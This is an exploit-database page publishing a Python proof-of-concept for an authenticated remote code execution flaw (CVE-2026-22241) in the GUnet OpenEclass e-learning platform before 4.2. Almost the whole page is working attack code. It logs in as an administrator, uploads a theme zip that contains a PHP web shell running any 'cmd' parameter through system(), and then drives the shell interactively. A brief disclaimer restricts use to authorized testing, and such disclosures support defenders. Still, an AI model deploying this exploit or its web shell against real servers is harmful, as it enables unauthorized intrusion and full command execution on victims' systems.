Skip to main content

GUnet OpenEclass E-learning platform < 4.2 – Remote Code Execution (RCE)

Categories: WebApps

GUnet OpenEclass E-learning platform < 4.2 – Remote Code Execution (RCE)

Proof of Concept (PoC)

poc.py
# Exploit Title: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE) 
# Date: 2026-01-08
# Exploit Author: Ashif Iqubal
# Vendor Homepage: https://www.openeclass.org/
# Software Link: https://download.openeclass.org/files/4.1/
# Version: < 4.2
# Tested on: Debian Ubuntu (Apache/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)
# CVE: CVE-2026-22241

import os
import sys
import zipfile
import requests
import argparse
from bs4 import BeautifulSoup
from argparse import RawTextHelpFormatter

RED = '33[91m'
GREEN = '33[92m'
YELLOW = '33[93m'
RESET = '33[0m'
ORANGE = '33[38;5;208m'

MALICIOUS_PAYLOAD = """
<?php

if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        die;
}

?>
"""

def banner():
    print(f'''{YELLOW}
    ┏━╸╻ ╻┏━╸   ┏━┓┏━┓┏━┓┏━┓   ┏━┓┏━┓┏━┓╻ β•»β•Ίβ”“ 
    ┃  ┃┏┛┣╸ ╺━╸┏━┛┃┃┃┏━┛┣━┓╺━╸┏━┛┏━┛┏━┛┗━┫ ┃ 
    ┗━╸┗┛ ┗━╸   ┗━╸┗━┛┗━╸┗━┛   ┗━╸┗━╸┗━╸  β•Ήβ•Ίβ”»β•Έ
    {RED}                        Author: @Ashif1337 {RESET}''')

def clean_server(openeclass,filename):
    print(f"{ORANGE}[+] Removing Backd00r...{RESET}")
    # Remove the uploaded files
    requests.get(f"{openeclass}/courses/theme_data/{filename}?cmd=rm%20{filename}")
    print(f"{GREEN}[+] Server cleaned successfully!{RESET}")


def execute_command(openeclass, filename):
    while True:
        # Prompt for user input with "eclass"
        cmd = input(f"{RED}[{YELLOW}eClass{RED}]~> {RESET}")

        # Check if the command is 'quit', then break the loop
        if cmd.lower() == "quit":
            clean_server(openeclass,filename)
            print(f"{ORANGE}[+] Exiting...{RESET}")
            sys.exit()

        # Construct the URL with the user-provided command
        url = f"{openeclass}/courses/theme_data/{filename}?cmd={cmd}"

        # Execute the GET request
        try:
            response = requests.get(url)

            # Check if the request was successful
            if response.status_code == 200:
                # Print the response text
                print(f"{GREEN}{response.text}{RESET}")

        except requests.exceptions.RequestException as e:
            # Print any error that occurs during the request
            print(f"{RED}An error occurred: {e}{RESET}")


def upload_web_shell(openeclass, username, password):
    login_url = f'{openeclass}/?login_page=1'
    login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'

    # Login credentials
    payload = {
        'next': '/main/portfolio.php',
        'uname': f'{username}',
        'pass': f'{password}',
        'submit': 'Enter'
    }

    headers = {
        'Referer': login_page_url,
    }

    # Use a session to ensure cookies are handled correctly
    with requests.Session() as session:
        # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
        session.get(login_page_url)

        # Post the login credentials
        response = session.post(login_url, headers=headers, data=payload)
        

        # Create a zip file containing the malicious payload
        zip_file_path = 'poc.zip'
        with zipfile.ZipFile(zip_file_path, 'w') as zipf:
            zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())

        # Get token
        token_url = session.get(f'{openeclass}/modules/admin/theme_options.php',allow_redirects=False)

        if token_url.status_code != 200 : 
            print(f"{RED}[X] Invalid Administrator Password!{RESET}")
            print(f"{RED}[X] Exiting...{RESET}")
            return False
        
        upload_token = BeautifulSoup(token_url.text, 'html.parser').select_one('input[name="token"]')['value']
        
        # Upload the zip file
        url = f'{openeclass}/modules/admin/theme_options.php'
        files = {
            'themeFile': ('poc.zip', open(zip_file_path, 'rb'), 'application/zip'),
            'import': (None, ''),
            'token': (None, upload_token)
        }
        response = session.post(url, files=files)

        # Clean up the poc zip file
        os.remove(zip_file_path)

        # Check if the upload was successful
        if response.status_code == 200:
            print(f"{GREEN}[+] Payload uploaded successfully!{RESET}")
            print(f"{GREEN}[+] Type 'quit' to exit web shell!{RESET}")
            return True
        else:
            print(f"{RED}[X] Failed to upload payload.{RESET}")
            print(f"{RED}[X] Exiting...{RESET}")
            return False




def main():
    parser = argparse.ArgumentParser(description="Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]nExample: CVE-2026-22241.py -t http://127.0.0.1/openeclass -u admin -p adminpassword",formatter_class=RawTextHelpFormatter)
    parser.add_argument('-t', '--eclassUrl', required=True, help="Target URL of the Open eClass.")
    parser.add_argument('-u', '--username', required=True, help="Admin Username for login.")
    parser.add_argument('-p', '--password', required=True, help="Admin Password for login.")
    args = parser.parse_args()

    banner()
    # Running the main login and execute command function
    if upload_web_shell(args.eclassUrl, args.username, args.password):
        execute_command(args.eclassUrl, 'evil.php')

if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...